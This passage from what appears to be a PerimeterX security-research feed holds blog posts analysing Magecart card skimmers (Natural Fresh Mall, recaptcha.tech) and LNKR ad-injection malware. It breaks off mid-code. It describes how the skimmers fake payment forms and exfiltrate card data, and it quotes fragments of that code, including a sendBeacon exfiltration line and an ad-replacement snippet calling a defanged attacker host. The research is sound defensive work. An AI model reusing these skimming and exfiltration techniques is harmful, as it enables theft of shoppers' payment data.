target and get around different checkout or payment details forms’ implementations.</p><p>Since I already went through the deobfuscation process in detail earlier, and for clarity’s sake, I’m <a href="https://gist.github.com/BenBaryoPX/9b33908422646f90f95b7df7bf01fb22">linking here</a> to a version of the skimmer where almost everything has been renamed to help follow along with the flow.</p><h3>Bypassing Stripe’s Payment Iframe</h3><p>The latest variant, served from <em>staticounter.]net</em>, is targeting Magento version 1. It’s using the <em>VarienForm</em> function which was deprecated in Magento 2, along with Stripe’s payment form, evident by its reliance on the existence of elements in the page such as #stripe-payments-card-number, and #payment_method_stripe.</p><p>Once the elements mentioned above are confirmed to exist on the page, the attack starts by:</p><ol><li>Hiding the real payment form sandbox iframe and injecting its own accessible iframe.</li><li>Replacing the real submit button with its own fake one.<br>This prevents the site from submitting the form when the user clicks the button and allows the attacker to run first without racing against any of the site’s original functionality that might activate on the same click.</li><li>Injecting a fake payment form into the new iframe, allowing the skimmer to monitor what is entered while making it look like the original form, complete with validity checks and a credit card brand icon which matches to the type of card number entered.</li><li>Once the payment details have been entered in full, the skimmer collects any available personally identifiable information (PII) it manages to find by reading values from specific fields in the checkout form like #billing[firstname], #billing[lastname], #billing[email], and #address.</li><li>Having collected all of the payment information and PII, it encrypts the data and exfiltrates it via jQuery’s Ajax POST request back to its server.</li><li>The last step includes removing the fake iframe and restoring the original, and clicking the original submit button to elicit the default error message regarding an incomplete credit card number, as the real input fields remained empty.</li></ol><p>The skimmer uses the creation of cookies in order to keep track of whether the attack was activated (cookie name form_key_id) or completed (cookie name _gld). This allows it to avoid redundantly re-injecting itself, or attacking a victim more than once, possibly leading to its early discovery.</p><p>By hiding the original payment iframe and injecting its own, the skimmer side-steps the protection the iframe provides. This also means the site may no longer be PCI compliant, exposing it to heavy fines and reputation degradation.</p><p>From the attacker’s point of view, the down side of such a replacement is that the payment isn’t really processed by the payment vendor, which requires the unsuspecting user to input their payment details more than once in order to complete the order. This makes the attack more noisy and prone to alert the end user of its existence.</p><p>While attack methods that succeeds in letting the payment pass on the first try without any visible errors <a href="https://www.perimeterx.com/resources/blog/2020/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/">have been observed before</a>, it isn’t a scenario commonly seen.</p><h3>By Hook or By Crook</h3><p>The earliest sample I’ve seen, from June 2021, targeted Magento 2 using the same bait-and-switch technique of injecting another iframe with a fake form. We can determine this by comparing its targeted CSS selectors to the Magento source code. Here are a couple of examples: The old skimmer was searching for #stripe-card-element, while the newer is searching for #stripe-payments-card-number. The old skimmer looked for checkout in the url vs firecheckout. And the use of the populated class when reporting credit card number errors existed in version 1, but was removed in version 2. Another minor but interesting difference is that the newer version does not collect passwords, which the old one did by extracting the value of the field #billing:customer_password.</p><p>Other variants target more payment vendors and frameworks such as NMI’s USA ePay, Magento’s Authorize CIM Payment module, PayPal DPM, InstaSend, Adobe Commerce, and eWay, just to name a few.</p><p>Where payment input fields are behind iframes, the skimmer uses the method described above of injecting its own iframe. When the input fields are accessible directly, it might replace the input fields anyway to prevent the original site’s functions from running, or it might simply hook the submit button and collect the payment details values from the original fields, like <a href="https://gist.github.com/BenBaryoPX/0ebf041845c7f5dc6c52151636d5d2fb">in this example</a>. As mentioned above, the skimmer ends the attack with clicking the original button to elicit an error message, but in some cases it even goes as far as displaying its own error message:</p><pre>alert(‘Gateway error. You will be automatically redirected to the our website for payment processing after placing the order.’);</pre><p>Instead of using a cookie to mark the attack as completed or a fake form as injected, the skimmer might use localStorage keys like mage-cache-version or recently_viewed_product_session, as seen on <a href="https://gist.github.com/BenBaryoPX/6737b7e1085bd7d9cc19c2e216e1ba38">this variant</a>.</p><p>These aren’t major differences in implementation, but knowing about them may come in handy when checking for signs of the skimmer in a page. This can also help verify whether an attack took place during a session by checking out certain cookies, searching the localStorage, or looking for an unexpected element or a missing expected element.</p><h3>Summary</h3><p>Magecart attacks being more “covert”, along with skimmer names like “anti-VM”, do not represent a change in the attacks themselves, but in their supporting infrastructure; These evasion mechanisms are aimed to hinder us — the researchers and defenders — in finding and stopping the attacks before they commence. By requiring interaction with the page, requiring a valid <em>referer</em> header or checking the IP doesn’t belong to a known VPN service, the attackers attempt to increase the chances of us missing their skimmer with our automatic scans.</p><p>The anti-VM skimmer highlights the necessity of protection solutions which run in-session and can detect digital skimming attacks without having to rely on outside or sandbox scanning. <a href="https://www.perimeterx.com/products/code-defender/">PerimeterX Code Defender</a> is such a solution, giving you visibility into what code is running on your site, whether it is first- or third-party, static or dynamically loaded. The solution provides alerts when such attacks occur and the ability to block any script from performing unwanted actions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6c9c6ef6e5c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/perimeterx/the-far-point-of-a-static-encounter-f6c9c6ef6e5c">The Far Point of a Static Encounter</a> was originally published in <a href="https://medium.com/perimeterx">PerimeterX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MallRats: An Analysis of the Natural Fresh Mall Magecart Attack]]></title>
            <link>https://medium.com/perimeterx/mallrats-an-analysis-of-the-natural-fresh-mall-magecart-attack-5a3cd8494c85?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a3cd8494c85</guid>
            <category><![CDATA[skimmer]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[fraud]]></category>
            <category><![CDATA[magecart]]></category>
            <category><![CDATA[magento]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Wed, 04 May 2022 13:30:11 GMT</pubDate>
            <atom:updated>2022-05-04T17:11:25.648Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4HGDDUeQfBch9Kbd" /></figure><p>The <em>Natural Fresh Mall</em> Magecart attack was first <a href="https://twitter.com/sansecio/status/1486000220647444491">reported</a> at the end of January 2022. Researchers discovered a mass infection of a single Magecart strain in one day, which grew to <a href="https://sansec.io/research/naturalfreshmall-mass-hack">more than 500 compromised stores</a> by early February. By combining SQL and PHP Object injections, the attackers took control of the Magento stores and left as many as 19 backdoors installed in some cases.</p><p>Apart from abusing the same Quickview plugin to gain a foothold in the server, all of the hacked sites were injected with a single skimmer served from <a href="https://naturalfreshmall[.]com/image/pixel[.]js.">https://naturalfreshmall[.]com/image/pixel.js.</a></p><p>The skimmer itself was only lightly obfuscated, using array reference replacements. It contained some cleartext function and variable names, as well as several unused code bits. The skimmer made use of a fake form and saved the stolen data in a cookie between reading, parsing, and exfiltrating it. It did not bother to cover its tracks once the attack was completed.</p><p>Check out these resources on GitHub to learn more about the skimmer:</p><ul><li><a href="https://gist.github.com/BenBaryoPX/79f7c74ac7e2ed361947f8f5a0744e82">The original obfuscated version of the skimmer</a></li><li><a href="https://gist.github.com/BenBaryoPX/2a0fb055c051778a492b090985408959">A deobfuscated and restructured version</a></li><li><a href="https://gist.github.com/BenBaryoPX/4c16950cf08c801418ee1a4ae5787936">A fake HTML form extracted from the skimmer</a></li></ul><h3>The Attack Flow</h3><p>All pages were injected with the skimmer, however two sets of checks kept it from going off early: whether a targeted CSS selector of payment options selection was found in the current page, and whether any of the values it collected included a credit card number and CVV.</p><p>When both conditions are met, the attack activates and proceeds as follows:</p><ol><li>The skimmer looks for an element containing the payment options selection. Once found, it injects a fake credit/debit payment form into it and hides all of its original child elements, effectively removing all other payment options other than the fake form.</li><li>An event listener is placed on all buttons in the page. Once clicked, the heart of the attack is initiated:</li><li>The values of all <em>input</em> and <em>select</em> fields on all of the forms found on the page are collected in pairs of field name/id and its value. Each collected pair is immediately stored in a cookie.</li><li>Once the collection is completed, the values are extracted from the cookie and parsed, replacing implementation-specific field names with a standardized field description. For example, fields with names/ids such as <em>payment[ps_cc_number]</em>, <em>creditCardNum</em>,<em> card[num]</em>, or <em>mundipagg_creditcard_1_1_cc_number</em> are all replaced with <em>cc_number</em>. The script receiving the exfiltrated data may require this normalization to verify its content.</li><li>After verifying a credit card number and CVV were captured, the data is hex-encoded and then base64 encoded. Next, it is placed within a form-data payload filled with fake fields — with names like <em>products_hash</em>, <em>captcha_hash</em>, and<em> visit_hash — </em>all containing randomly generated strings of different lengths. The actual stolen data is placed in the middle of it all, under the name <em>stat_infos</em>. Wrapping the actual stolen data in a generated noise sandwich is probably meant to hinder detection by “hiding a tree in a forest.” This makes it more difficult to recognize the data in the outgoing request.</li><li>The payload is then sent in a POST request to <a href="https://naturalfreshmall[.]com/payment/Payment.php.">https://naturalfreshmall[.]com/payment/Payment.php.</a></li><li>The data is deleted from the cookie, the fake form is hidden, and all of the previously hidden different payment options are displayed.</li><li>A specific cookie value is set to prevent the attack from running again.</li><li>An alert is triggered with the message “<em>Selected payment method is currently unavailable, please try again”</em> to lower suspicion from the user who will need to re-enter their payment information a second time — this time into the real form — to complete the checkout process.</li></ol><h3>Earlier Variations</h3><p>Further examination of the compromised sites revealed earlier versions of the same skimmer, dubbed <a href="https://www.riskiq.com/blog/external-threat-management/magecart-bom-skimmer/">“Bom” skimmer</a>. This earlier iteration of variants started to propagate in <a href="https://twitter.com/unmaskparasites/status/1438262156298911744">September 2021</a>. It followed the same basic attack method and even shared most of the code with the <em>Natural Fresh Mall</em> skimmer, though there are a couple of differences worth mentioning:</p><h3>Injection Type</h3><p>While the <em>Natural Fresh Mall</em> skimmer is injected as a third-party script, the variants mostly show up as first-party scripts that are either completely new in the site and contain only the skimmer code, or are appended to an existing script.</p><p>Some of the injections are strictly inline, and a small percentage of them are third-party, utilizing other compromised vendors as a distribution channel for the skimmer.</p><h3>Exfiltration Destination</h3><p>The same applies to the exfiltration destination. Instead of sending the stolen data to <em>naturalfreshmall[.]com</em>, most of the variants use first-party paths such as:</p><ul><li>/</li><li>checkout</li><li>/media/blog/index.php</li><li>/skin/frontend/default/default/</li><li>/skin/frontend/default/default/api.php</li><li>/checkout/onepage/savePayment/</li></ul><p>These paths likely point to malicious code injected into the server that receives the stolen payment details. The backend code then either sends them via server-side requests to a fraudster-controlled server, or perhaps <a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/digging-deep-into-magecart-malware-part-ii/">saves them to local files to be accessed manually</a>.</p><h3>Targeted Fields</h3><p>The <em>Natural Fresh Mall</em> skimmer strictly targeted Magento checkout pages with its fake form injection by searching for a <a href="https://github.com/magento/magento2/blob/6ce74b2/app/code/Magento/Checkout/view/frontend/web/template/payment.html#L28-L32">unique <em>checkout-payment-method-load</em> element id</a>. Some of the other variants, however, have a wider bank of targets such as PrestaShop, XPay, WorldPay, and WooCommerce.</p><p>Some variants also collected personally identifiable information (PII), such as names and addresses, from the billing form.</p><h3>Takeaways</h3><ul><li>Once an exploit becomes common knowledge, it doesn’t take long before it is observed being used in the wild. Competing attackers scan the web for sites that are vulnerable to this new exploit and attack them, which sometimes results in more than one backdoor or skimmer script injected to the same site.</li><li>While attackers keep finding new methods of exploiting their way into e-commerce sites, most of their methods for stealing payment details and PII remain similar to those previously seen.</li><li>Left untreated, a breached site may be used as a proxy for attackers, serving skimmers to other breached sites, receiving stolen data, or both. These further exploitations of the breached sites may result in high risk scores for the compromised domains, damaging reputation.</li><li><a href="https://www.riskiq.com/blog/labs/magecart-reused-domains/">As previously observed</a>, even if an attack is passively made inert — for example, if the malicious server is down or the script is unavailable — the injected scripts might spring back to life and serve unwanted ads, a new skimmer or other malicious content. Thus, website owners must actively close the breach and remove the offending scripts in order to end the attack.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a3cd8494c85" width="1" height="1" alt=""><hr><p><a href="https://medium.com/perimeterx/mallrats-an-analysis-of-the-natural-fresh-mall-magecart-attack-5a3cd8494c85">MallRats: An Analysis of the Natural Fresh Mall Magecart Attack</a> was originally published in <a href="https://medium.com/perimeterx">PerimeterX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Evolution of a Magecart Attack Leveraging Recaptcha.tech Domain]]></title>
            <link>https://medium.com/perimeterx/the-evolution-of-a-magecart-attack-leveraging-recaptcha-tech-domain-40ff06b8c27?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/40ff06b8c27</guid>
            <category><![CDATA[fraud]]></category>
            <category><![CDATA[magecart]]></category>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Wed, 25 Aug 2021 17:22:40 GMT</pubDate>
            <atom:updated>2021-08-25T17:22:40.652Z</atom:updated>
            <content:encoded><![CDATA[<p>A breakdown of an attack served from recaptcha[.]tech and its progression over the course of two years.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9VV9Blzg53gZRgDR" /></figure><h3>Magecart in the Wild</h3><p>One of my roles as a researcher at PerimeterX is to scour the web in search of threats, map the techniques used by fraudsters, and develop countermeasures for both detection and prevention.</p><p>Usually, monitoring the threat landscape is all about analyzing the latest techniques that avoid detection and maximize cybercriminal profits. However, while researching one particular Magecart attack, I traced the development of a skimmer over the course of two years. I found that along with the skimmer creator’s skill development, the trend of generalization — moving from targeting specifically named fields and forms to writing code that will work on most e-commerce sites — was very evident.</p><p>While the techniques used in the attack are common, I followed the progress of the skimmer and the choices made by the fraudster who developed it. It was obvious that — just as any other software developer — the creator of this skimmer has also tackled issues of expanding support to other platforms, compatibility with different implementations, as well as improving their research evasion techniques.</p><h3>The Attack</h3><p>This attack was found running on a variety of retail websites, with no obvious connection between them. What caught my eye was its use of <em>recaptcha</em> in the name of the malicious domain: <em>recaptcha.tech</em>. This campaign seems to have been going on for quite a while, as the server was registered as early as July 2019, and immediately started serving malicious JavaScript. It isn’t flagged by any vendor as serving malicious content, but the only content I found linked to it were skimmers served on compromised sites.</p><p>As with any Magecart attack, it poses a risk of customer’s payment details and personally identifiable information (PII) being stolen, and exposes the site owners to fines for breach of data protection laws such as GDPR, CCPA or NYPA. This should be of concern to any retail, media or other digital enterprise site owners, as this can negatively impact their user confidence and brand reputation.</p><h3>Breakdown of the Attack</h3><p>All of the sites that were hit by this attack had an inline loader embedded on every page. Though injected, the skimmer only activated where it found at least one of its targeted elements: a checkout form’s <em>Submit</em> button. Let’s check out the code found on one of the targeted sites — one which was still live up until recently before the owner was contacted.</p><h3>The Loader</h3><p>The site itself was compromised, and an inline script was injected to the main HTML, loaded on every path. It loads the skimmer into the page by using jQuery’s <em>ajax</em> method, which not only fetches the content of the skimmer, but also automatically injects it to the page.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4cd074f5981f98b612abd02a4ac26636/href">https://medium.com/media/4cd074f5981f98b612abd02a4ac26636/href</a></iframe><h3>The Skimmer</h3><p>Many of the variables, functions, and classes kept their original names (such as <em>attackClass</em>, <em>tmp_keys</em>, <em>bad_keys</em>, <em>mobile</em>, <em>allow</em>, <em>crypt</em>, <em>format</em>, <em>update_data</em>, etc…) even though the script was obfuscated. I have renamed the rest with more meaningful — though sometimes lengthy — names. The code, <a href="https://gist.github.com/BenBaryoPX/cfd0e1a437cb17aa462411663236830c#file-latest-recaptcha-tech-client-js-api-deob-js">shown in this Github gist</a>, is already deobfuscated, with the obfuscation functions and variables removed for readability’s sake.</p><h3>The Flow</h3><ol><li>The skimmer listens to <em>keydown</em> events and determines if the user opens the devtools using different key combinations. If such a combination is observed, a <em>localStorage</em> key is set and the attack ceases.</li><li>The script detects whether the session is running on mobile by looking for strings indicating a mobile browser against the user agent string, along with whether <em>ontouchstart</em> exists in the window and if <em>navigator.maxTouchPoints</em> is bigger than 0.</li><li>If the session isn’t running on mobile, another verification that the devtools are closed is initiated, this time by testing the difference between outer and inner window dimensions.</li><li>If the devtools key does not exist in <em>localStorage</em> (i.e. there’s no indication of devtools being open), the script iterates over a list of hard-coded css selectors, most are clearly indicating form submit buttons, some with names of payment vendors such as <em>Braintree</em>, <em>Wizgo</em>, or <em>OneStepCheckout</em>, and if they exist<strong>, </strong>sets an event listener on them for <em>mouseover</em> events. It also marks them with an empty <em>onrotate</em> attribute to avoid redundancy.</li><li>The script proceeds to iterate over all <em>input</em>, <em>select</em>, <em>textarea</em>, and selected <em>option</em> elements and collect their name/ID and their value.</li><li>The collected data is encrypted with a hard-coded key — <em>dev.recaptcha.stream</em> and encoded.</li><li>If the script has indications that the devtools are open, all the <em>mouseover</em> event listeners, as well as the <em>keydown</em> listener are deleted, and the attack ceases. The configuration is removed and important variables are cleared of values.</li><li>Steps 2–7 repeat every half a second.</li><li>Once the <em>mouseover</em> event is triggered, the collected data is sent via <em>navigator.sendBeacon</em> to a hard-coded URL, and the attack is stopped.</li></ol><h3>The Take</h3><ul><li>The existence of the loader as an inline script suggests the site itself has been compromised rather than this being a supply chain attack.</li><li>While some skimmers bring their own jQuery “just in case”, this loader (and actually all of the loaders identified as part of this campaign) requires jQuery to already be present at the site in order to fetch the skimmer.</li><li>The hard-coded list of target buttons to place the event listener on consists of a number of different identifiable payment vendors, suggesting that this is a generic attack, probably spread across different sites.</li><li>The generic collection of data from the input fields supports the previous assessment.</li></ul><h3>Diversion Meant for Human Eyes</h3><p>The use of <em>recaptcha</em> in the domain, especially when the real Recaptcha is embedded in the site, is meant to throw off casual devtools peekers. It’s easy to understand how at a glance the malicious <a href="https://recaptcha.tech/client/js/api.js"><em>https://recaptcha.tech/client/js/api.js</em></a><em> </em>can be confused for the innocuous <a href="https://www.google.com/recaptcha/api.js."><em>https://www.google.com/recaptcha/api.js</em>.</a></p><p>Even the exfiltration url is disguised to look like a valid recaptcha endpoint — <em>/verify</em>.</p><h3>Persistence is Key to Detecting Open Devtools</h3><p>When you suspect there’s something wrong on a website, the first step is to open the developer tools window and look around. Peek in the Network tab to see if there’s any communication with an unfamiliar domain, or go over to the Sources tab to look for anything suspicious in the code. Perhaps you’d discover an out-of-place element in the Elements tab. There are a lot of ways to find attack indicators just by poking around the devtools, so there’s an incentive for skimmers to recognize if they’re being observed and to cease their operation.</p><p>This attack is no different in that aspect. It employs a common method to check if the devtools are open by comparing the outer and inner window size. While most skimmers simply avoid running when possibly being monitored, this one also installs a keylogger that monitors the last 3 <em>keydown</em> events that took place. It looks for specific combinations starting with ctrl and shift, where the last event was of one of its so called “bad keys” which are used to open the devtools (or view source) on Windows, Mac, or using Chrome, Safari, or Opera. The commonly used F12 key is also monitored.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7f348e30fcf34776f0309ff715570ee9/href">https://medium.com/media/7f348e30fcf34776f0309ff715570ee9/href</a></iframe><p>Once either mechanism determines the devtools were opened, a localStorage key is saved with its value set as the current datetime. The non-existence of this key is verified when the attack starts. If the key exists and is older than 3 hours, it is deleted. Otherwise, the attack is halted.</p><h3>Evolution of a Skimmer: Getting More Classy</h3><p>As previously mentioned, this campaign isn’t new, and while some attacks are still live, earlier iterations can be tracked all the way back to July 2019 when the server was registered. I went back and dug up previous versions of the skimmer served from the same domain and found it interesting to see the development of the skimmer, especially between its earliest version and the latest one.</p><h3>Breakdown of an Earlier Attack</h3><p>Here’s the earlier version of the skimmer. The loader was almost the same as the latest version, so I skipped it to avoid code clutter.</p><h3>The Skimmer</h3><p>The code, <a href="https://gist.github.com/BenBaryoPX/cfd0e1a437cb17aa462411663236830c#file-earliest-recaptcha-tech-js-client-3b4353b7a93d6ad46440d96d40d096dc-deob-js">shown in this Github gist</a>, was deobfuscated with the obfuscation functions and variables removed for readability. The functions and variables were then renamed according to the latest version in order to simplify the comparison.</p><h3>The Flow</h3><p>Here’s how this early version performed the skimming:</p><ol><li>When the window is resized, a check for whether the devtools were open would run by testing the difference between outer and inner window dimensions. A localStorage key would be set if the devtools were detected.</li><li>The localStorage key is checked on every second, removing any data the skimmer may have already collected if it exists, or removing the key if more than an hour has passed since setting it.</li><li>The script checks if a button exists by looking for a hard-coded css selector 4 times a second.</li><li>Once the button is located, the script marks it by setting an attribute on it, clones it, adds an event listener for <em>click</em>s, and replaces the original with the clone while keeping the original stashed away.</li><li>When the user clicks on the button, a hard-coded list of fields is collected and stored in the localStorage, under a different key than the one used for detecting devtools.</li><li>The script creates an Image tag and disguises it as a 1 pixel gif file, though the actual destination is a php file, with the payload attached as part of the otherwise hard-coded query string.</li><li>Once the Image tag is added to the DOM, the script removes that newly injected image tag as well as the collected data stored in the localStorage, replaces the clone with the original node, and clicks the original button.</li></ol><h3>The Differences</h3><p>The first thing I noticed was that this is a straightforward linear script, without the more structured class and methods. But the fraudster’s improving coding skills isn’t really why I thought it interesting to compare versions;<br>the expanding scope is.</p><p>The comparison shows obvious signs of improvement — not just in the script’s structure and techniques, but also in the ability to target more sites with the same code without requiring to adjust the code per attack.</p><p>I will focus on 3 key areas in which I noticed specific improvements: field targeting, button hooking, and data exfiltration.</p><h4>Field Targeting</h4><p>The earliest version operates by hard-coding the css selectors matching the targeted input fields and the attributes that should be harvested from them.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a594a95ca29973455be36391ff69cfca/href">https://medium.com/media/a594a95ca29973455be36391ff69cfca/href</a></iframe><p>These are specifically selected to match a certain payment provider or framework which uses these hard-coded IDs.</p><p>A later version moves from hard-coded IDs to naming the tag name along with its name attribute, perhaps due to a change in the framework or a change in the targets of this attack.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4df1d266620d59ad28e9e074ee95a129/href">https://medium.com/media/4df1d266620d59ad28e9e074ee95a129/href</a></iframe><p>In this intermediate version, additional information on country code and state is specifically collected. The collection itself, including the switch statement, is kept the same.</p><p>In the latest version, the code iterates over all <em>input</em>, <em>select</em>, and <em>textarea</em> fields found on the page, dynamically extracting their name/ID and the attribute relevant for them that contains the targeted data:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e6520fe076107433d239960dcba6008b/href">https://medium.com/media/e6520fe076107433d239960dcba6008b/href</a></iframe><p>This strategy allows the same script to run on pretty much any page that provides access to these input fields without any need for modification.</p><h4>Button Hooking</h4><p>The design choice for when to start the actual harvesting has also been revisited between the earliest version and the intermediate one, not changing again for any future version.</p><p>The earliest version started the attack after the replacement button was clicked:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/443e831c8175ad1b38f401a59c01e2fb/href">https://medium.com/media/443e831c8175ad1b38f401a59c01e2fb/href</a></iframe><p>The intermediate version brought on a change in the timing data collection — now collecting in an interval, not bound to a click on the submit button, which only initiated the data exfiltration:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b764c6a4398d5fda8545b38ae17c6966/href">https://medium.com/media/b764c6a4398d5fda8545b38ae17c6966/href</a></iframe><p>You’ll also notice that the targeted button’s css selector has changed, probably targeting a different payment provider.</p><p>The version that came after that already made the jump from replacing the button to hooking the original. It used an object where the css selector for a checkout button possibly on the page is the key, and the value notes whether it has been hooked (useful to avoid double-hooking and to remove hooking when the attack is completed):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9a59caf2fa85cb218742c1bb75cd040e/href">https://medium.com/media/9a59caf2fa85cb218742c1bb75cd040e/href</a></iframe><p>The latest version does away with the <em>objects</em> object (but keeps the name) and simply sets an innocuous attribute on hooked buttons. Notice the newly added css selectors, which suggests this version caters to a much broader selection of possible targets:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/879591a2ffdfc3703c3682ca42e5fd64/href">https://medium.com/media/879591a2ffdfc3703c3682ca42e5fd64/href</a></iframe><h4>Data Exfiltration</h4><p>Another interesting change is the techniques used to exfiltrate the stolen data back to the fraudster’s server.</p><p>The earliest version injects an image element and sets the <em>src</em> attribute to point at the fraudster’s server. The encrypted stolen data hides as part of the query string, which also includes some “noise” to make this request seem less suspicious.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/baa6283d009655b8c4a7ba45435b9a6c/href">https://medium.com/media/baa6283d009655b8c4a7ba45435b9a6c/href</a></iframe><p>You’ll notice how the width and height of the element was set to 1x1 similar to a tracking pixel. I’m not sure if at that time the server actually returned a pixel response, but in any case, another function running in intervals of 4 times a second would search for this image element and remove it once it was found.</p><p>A later intermediate version made the change to send the data not when the button was clicked, but when the mouse hovered over the button. Instead of using the image.src technique, it utilized the sendBeacon function, which did not elicit a response from the target server. Was this a way to lower costs or to simply expedite the exfiltration?</p><pre>send() {navigator.sendBeacon(config.backend, config.data);}</pre><p>I would venture a guess that hooking the button instead of replacing it, and using <em>mouseover</em> together with this <em>sendBeacon</em> technique, are all part of the attempt to be less intrusive and change the flow of the site. This might end up breaking the site, making the attack more noisy and possibly alerting the users and the owner of the site to it.</p><p>Between employing more techniques to identify when the script is being observed (open devtools), limiting the scope of the variables, and cleaning up when the attack is halted, there is an observable active effort made by the fraudster to avert research and detection of the attack.</p><h3>To Recap(tcha)</h3><p>This skimmer evolved over the course of two years, from an attack targeting specific fields on a single site configuration into a generic attack that is compatible with a range of frameworks or payment providers.</p><p>Over time, some techniques were enhanced in quality, ensuring the skimmer ran its course while also improving anti-research protection. Others — like the use of a key in the localStorage to halt the attack, and the encryption functions — remained the same. If a certain method works, like hiding behind a server evoking the name <em>recaptcha</em>, why change it? Keep in mind that while this skimmer does not exhibit any advanced characteristics that would prove a challenge to most detection solutions, it still ran uninterrupted for quite a while, probably due in part to its maintainer’s adaptability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40ff06b8c27" width="1" height="1" alt=""><hr><p><a href="https://medium.com/perimeterx/the-evolution-of-a-magecart-attack-leveraging-recaptcha-tech-domain-40ff06b8c27">The Evolution of a Magecart Attack Leveraging Recaptcha.tech Domain</a> was originally published in <a href="https://medium.com/perimeterx">PerimeterX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Missing LNKR]]></title>
            <link>https://medium.com/perimeterx/the-missing-lnkr-8910a2ee4fbd?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/8910a2ee4fbd</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[adware]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Thu, 22 Oct 2020 00:00:00 GMT</pubDate>
            <atom:updated>2020-10-22T16:02:29.400Z</atom:updated>
            <content:encoded><![CDATA[<p>How we connected several incidents our clients’ end-users experienced to a broad ad injection campaign spanning end-users across much of our customer base.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*xytWzXyzFxKJrisS.jpg" /></figure><h3>First Incidents</h3><p>During a new integration of PerimeterX Code Defender in July, the customer alerted us that they had received complaints that several of their end users had experienced fraud after submitting payment details into their website. Our review of the code running on their website revealed nothing malicious.</p><p>We then used our visibility into their site and found a very small percentage of end users experiencing Javascript injections which contacted unexpected domains. The small number of affected users made it not likely to be a Magecart attack, as those usually run on as many users as possible instead of a small subset, but we wanted to dot all the i’s and cross all the t’s to verify this wasn’t a more elaborate, targeted attack.</p><p>The unexpected domains we encountered, <em>guxuladebu[.]com</em> and <em>wejekihota[.]com</em>, have been registered as recently as 04/2020 and were both tagged as high-risk by our domain intelligence provider. The scripts which were detected in the compromised sessions were injected into the payment iframe, and taking a close look at them revealed unobfuscated code, which included comments and full variable names. The scripts seemingly “only” inject ads and trackers into the page.</p><h3>The Initial Adware Injection</h3><p>The opening lines of one of the injections:</p><pre>var alreadyLoadedMnz = true;<br>try {<br>   if (typeof(alreadyLoadedFdzScript) == &quot;undefined&quot;) {<br>       var euPlugin = true;<br>       var alreadyLoadedFdzScript = true;<br>       var mainPluginKey = &quot;8kime1SUSnpFEB9EJs$JTA&quot;;<br>       var countryPlugin = &quot;br&quot;;</pre><p>The injected scripts, <em>losudu.guxuladebu[.]com/scripts/js</em> and <em>fevoki.wejekihota[.]com/scripts/js</em>, both with object and method names such as <em>fdzAdsManager</em>, fdzNativeAds, <em>pushMoreProducts</em>, and <em>replaceAds</em>, it was easy to figure out what was going on; The script would seek out existing ads’ elements and iframes on the page — such as youtube ads, taboola, ligatus or outbrain — and replace them with its own ads.</p><pre>replaceAds: function (format, element) {<br> return new Promise(function (resolve) {<br>   if (element.height &gt; 200) {<br>     jKiri.getJSON(<br>         dynamicURL(&#39;https://debezihe[.]wejekihota[.]com/assets/nataurl?width=&#39;<br>         + element.width + &#39;&amp;height=&#39; + element.height + &#39;&amp;h=&#39;<br>         + btoa(document.location.host) + &#39;&amp;pk=&#39; + mainPluginKey + &#39;&amp;callback=?&#39;),<br>       null, function (json) {<br>         if (json.url) {<br>           if (jKiri(&#39;.native_adn&#39;).length &gt;= fdzNativeAds.limit) {<br>             return resolve();<br>           }<br>           if (!document.body.contains(element.item[0])) {<br>             return resolve();<br>           }<br>           element.item.replaceWith(jKiri(&#39;&lt;iframe class=&quot;native_adn&quot; src=&quot;&#39;<br>               + json.url + &#39;&quot; width=&quot;&#39; + element.width + &#39;&quot; height=&quot;&#39;<br>               + element.height<br>               + &#39;&quot; style=&quot;border:none;display:block;margin:auto&quot; /&gt;&#39;));<br>           if (json.boost_type &amp;&amp; json.boost_type == &quot;ctz&quot;) {<br>             